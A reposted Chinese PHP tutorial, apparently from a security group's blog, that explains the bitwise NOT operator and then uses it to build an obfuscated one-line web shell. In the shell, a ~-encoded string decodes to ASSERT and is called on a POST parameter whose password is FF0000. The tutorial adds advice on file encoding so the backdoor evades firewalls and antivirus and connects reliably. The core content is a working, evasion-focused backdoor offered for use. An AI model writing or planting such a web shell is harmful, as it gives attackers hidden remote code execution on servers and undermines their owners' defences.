您当前的位置: 首页 > 网站编程 > PHP教程 > PHP中使用按位取反(~)函数创建后门

PHP中使用按位取反(~)函数创建后门

作者:不详 来源:网络 发布时间: 2014-08-08 11:39 点击:
1)PHP ~位运算符 PHP: 位运算符 - http://www.php.net/manual/zh/language.operators.bitwise.php 前一段时间老外在twitter上爆出个有趣的东西,一串疑似乱码的字符串访问后却能正常输出1337,于是便有了以下研究成果。 ~ $a Not(按位取反) 将 $a 中为 0 的位设为 1,

PHP中使用按位取反(~)函数创建后门

  1)PHP ~位运算符

  PHP: 位运算符 - http://www.php.net/manual/zh/language.operators.bitwise.php

  前一段时间老外在twitter上爆出个有趣的东西,一串疑似乱码的字符串访问后却能正常输出1337,于是便有了以下研究成果。

  ~ $a Not(按位取反) 将 $a 中为 0 的位设为 1,反之亦然。

  PHP 的 ini 设定 error_reporting 使用了按位的值,提供了关闭某个位的真实例子。要显示除了提示级别之外的所有错误。

  php.ini 中是这样用的: E_ALL & ~E_NOTICE

  具体运作方式是先取得 E_ALL 的值: 00000000000000000111011111111111

  再取得 E_NOTICE 的值: 00000000000000000000000000001000

  然后通过 ~ 将其取反: 11111111111111111111111111110111

  最后再用按位与 AND(&)得到两个值中都设定了(为 1)的位: 00000000000000000111011111110111

  2)分析并重现

  这个就是当时最原始的代码实现效果:

  


  当看到这个效果的时候最先想到的就是绕过防火墙等后门的实现,之后开始考虑这是哪种编码方式?

  后来同李普君测试中发现直接使用echo ~'1';等则会直接输出以上的'乱码',方到看完PHP官方~函数的解释才恍然大悟。

  


  那么我们便可以开始写一句话试试效果了:

  ?1

  2

  3

  4

  



  $x=~Ÿ¬¬º­«;

  $x($_POST[~¹¹ÏÏÏÏ]);

  ?>

  


  这里定义$x变量为ASSERT,然后密码为FF0000直接链接后门便可,因为当位取反出来'乱码'后我们再取一次反即可返回正常值。

  3)关于编码与免杀

  当重现这个后门的时候我发现,直接Copy过来的直接HTTP状态500,源头是编码问题,上面这种'乱码'其实为西欧(ISO-8859-15)。

  实际过程中我们遇到了多次后门无法链接出现500的错误均势因为编码问题,如果默认编码无法识别将编码方式保存为这种即可(GBKUTF8...均不能成功使用)

  


  Author: Evi1m0 [Email: evi1m0#ff0000.cc]

  From: 邪红色信息安全组织 [FF0000 TeAm]
分享到:
本文"PHP中使用按位取反(~)函数创建后门"由远航站长收集整理而来,仅供大家学习与参考使用。更多网站制作教程尽在远航站长站。
顶一下
(0)
0%
踩一下
(0)
0%
[点击 次] [返回上一页] [打印]
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 密码: 验证码:
关于本站 - 联系我们 - 网站声明 - 友情连接- 网站地图 - 站点地图 - 返回顶部
Copyright © 2007-2013 www.yhzhan.com(远航站长). All Rights Reserved .
远航站长:为中小站长提供最佳的学习与交流平台,提供网页制作与网站编程等各类网站制作教程.
官方QQ:445490277 网站群:26680406 网站备案号:豫ICP备07500620号-4